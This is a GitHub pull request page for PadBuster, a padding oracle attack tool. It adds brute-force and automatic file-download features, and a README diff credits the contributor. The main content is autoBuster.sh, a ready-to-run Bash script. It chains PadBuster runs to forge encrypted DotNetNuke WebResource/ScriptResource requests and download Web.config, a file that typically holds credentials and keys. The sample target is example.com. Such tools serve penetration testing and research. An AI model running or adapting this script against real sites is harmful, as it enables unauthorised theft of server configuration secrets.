Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Many different improvements with new parameters and an automatic file retrieval script #2

Open
wants to merge 22 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
22 commits
Select commit Hold shift + click to select a range
58a001a
Added session based connections and more robust connection error hand…
gw0 May 10, 2011
3e4b03b
Added option to run command after finished encryption phase.
gw0 May 10, 2011
6e15fe9
Improved automatic request repetition mechanism.
gw0 May 10, 2011
5b1e77b
Added client certificate support (PKCS12 or PEM format).
gw0 May 10, 2011
c9c6230
Minor visual improvements for new features.
gw0 May 10, 2011
eb5cc19
Added support for multiple oracle padding error signatures.
gw0 May 10, 2011
7d197dd
Added computation of Levenshtein distance (edit distance) between con…
gw0 May 10, 2011
0de42ec
Added displaying of HTTP redirect targets during brute force mode.
gw0 May 10, 2011
dc81b8f
Added randomized brute force mode (similar to Web.config bruter).
gw0 May 10, 2011
1fbf4dd
Added support to ignore responses with smaller than given Levenshtein…
gw0 May 10, 2011
870321c
Minor visual modifications for tracking executing commands.
gw0 May 10, 2011
17a4b08
Improved logging directory handling and added Summary.txt log.
gw0 May 11, 2011
1908396
Added option to continue with the response analysis in brute force mode.
gw0 May 11, 2011
818d78d
Various corrections for logging and visual output.
gw0 May 24, 2011
a284824
Implemented automatic decision making, retrying and file downloading.
gw0 Sep 5, 2011
a875c29
Added contributor credits.
gw0 Sep 5, 2011
0758e31
Merging all enhancements with upstream version 0.3.3.
gw0 Sep 5, 2011
7d42ee2
Corrected runtime warnings and errors.
gw0 Sep 20, 2011
87e8066
Improved robust directory creation and corrected some non-Linux warni…
gw0 Sep 20, 2011
c65426f
Various minor improvements.
gw0 Sep 28, 2011
bddd258
Renamed placeholders for -runafter parameter.
gw0 Sep 28, 2011
94460ff
Added Bash script for automatic file retrieval with PadBuster.
gw0 Sep 28, 2011
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 5 additions & 1 deletion README
Original file line number Diff line number Diff line change
Expand Up @@ -5,12 +5,16 @@ Author: Brian Holyfield - Gotham Digital Science ([email protected])
Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
techniques and S.Vaudenay for initial discovery of the attack. Credits also
to James M. Martin ([email protected]) for sharing proof of concept exploit
code for performing various brute force attack techniques.
code for performing various brute force attack techniques. Credits for variuos
improvements to GW ([email protected] or http://gw.tnode.com/) - Viris.

PadBuster is a Perl script for automating Padding Oracle Attacks. PadBuster
provides the capability to decrypt arbitrary ciphertext, encrypt arbitrary plaintext,
and perform automated response analysis to determine whether a request is vulnerable
to padding oracle attacks.

autoBuster.sh is a script for automatic resource path encoding, bruteforcing and
file downloading by GW ([email protected] or http://gw.tnode.com/) - Viris.

PadBuster is released under the Reciprocal Public License 1.5 (RPL1.5)
http://www.opensource.org/licenses/rpl1.5
44 changes: 44 additions & 0 deletions autoBuster.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
#!/bin/bash
# Automatic PadBuster runner.
#
# Usage:
# - modify variables at the beginning of this script
# - run:
# ./runfile.sh <resource_path> <save_to_file>
# ./runfile.sh '|||~/Web.config' 'Web.config'
#
# This script uses PadBuster to first encode the given <resource_path> parameter
# and than using it in the second automated file retrieval mode.
#
# For example it runs PadBuster (encoding phase) with parameters like:
# ./padBuster.pl 'http://example.com/dotnetnuke/WebResource.axd?d=cUWPUb60YjfipBsfszacsQ2' 'cUWPUb60YjfipBsfszacsQ2' 8 \
# -encoding 3 -prefix 'cUWPUb60YjfipBsfszacsQ2' -log \
# -auto 100000 \
# -runafter "./padBuster.pl 'http://example.com/dotnetnuke/ScriptResource.axd?d=#ENC' '#ENC' 8 -encoding 3 -bruteforce -randomize -log '#DIR' -ignoredistance 55 -auto 100000 -autostore 'files/Web.config.#STAT-#SUM'" \
# -plaintext '|||~/Web.config'
#
# After encoding the <resource_path> it starts the automatic bruteforcing and
# downloading phase (or whatever is given for the -runafter parameter). Eg:
# ./padBuster.pl 'http://example.com/dotnetnuke/ScriptResource.axd?d=ZXzZXHDtAJS0xXgU2mjYjwAAAAAAAAAA0' 'ZXzZXHDtAJS0xXgU2mjYjwAAAAAAAAAA0' 8 \
# -encoding 3 -bruteforce -randomize -log 'PadBuster.28SEP11-55659' \
# -ignoredistance 55 -auto 100000 -autostore 'files/Web.config.#STAT-#SUM'
#
# PadBuster will try to ignore all useless responses by comparing their
# difference and storing everything interesting in the directory 'files'.
#
# Author: GW <[email protected] or http://gw.tnode.com/>

# Modify these variables:
PREFIX='cUWPUb60YjfipBsfszacsQ2'
CRYPTURL="http://example.com/dotnetnuke/WebResource.axd?d=$PREFIX"
DOWNLOADURL="http://example.com/dotnetnuke/ScriptResource.axd?d=#ENC";
BLOCKSIZE=8

echo "--- '$1'"

SUBCMD="./padBuster.pl '$DOWNLOADURL' '#ENC' $BLOCKSIZE -encoding 3 -bruteforce -randomize -log '#DIR' -ignoredistance 55"
if [ "$2" != '' ]; then
SUBCMD="$SUBCMD -auto 100000 -autostore 'files/$2.#STAT-#SUM'";
fi
./padBuster.pl "$CRYPTURL" "$PREFIX" $BLOCKSIZE -encoding 3 -prefix "$PREFIX" -log -auto 100000 -runafter "$SUBCMD" -plaintext "$1"

Loading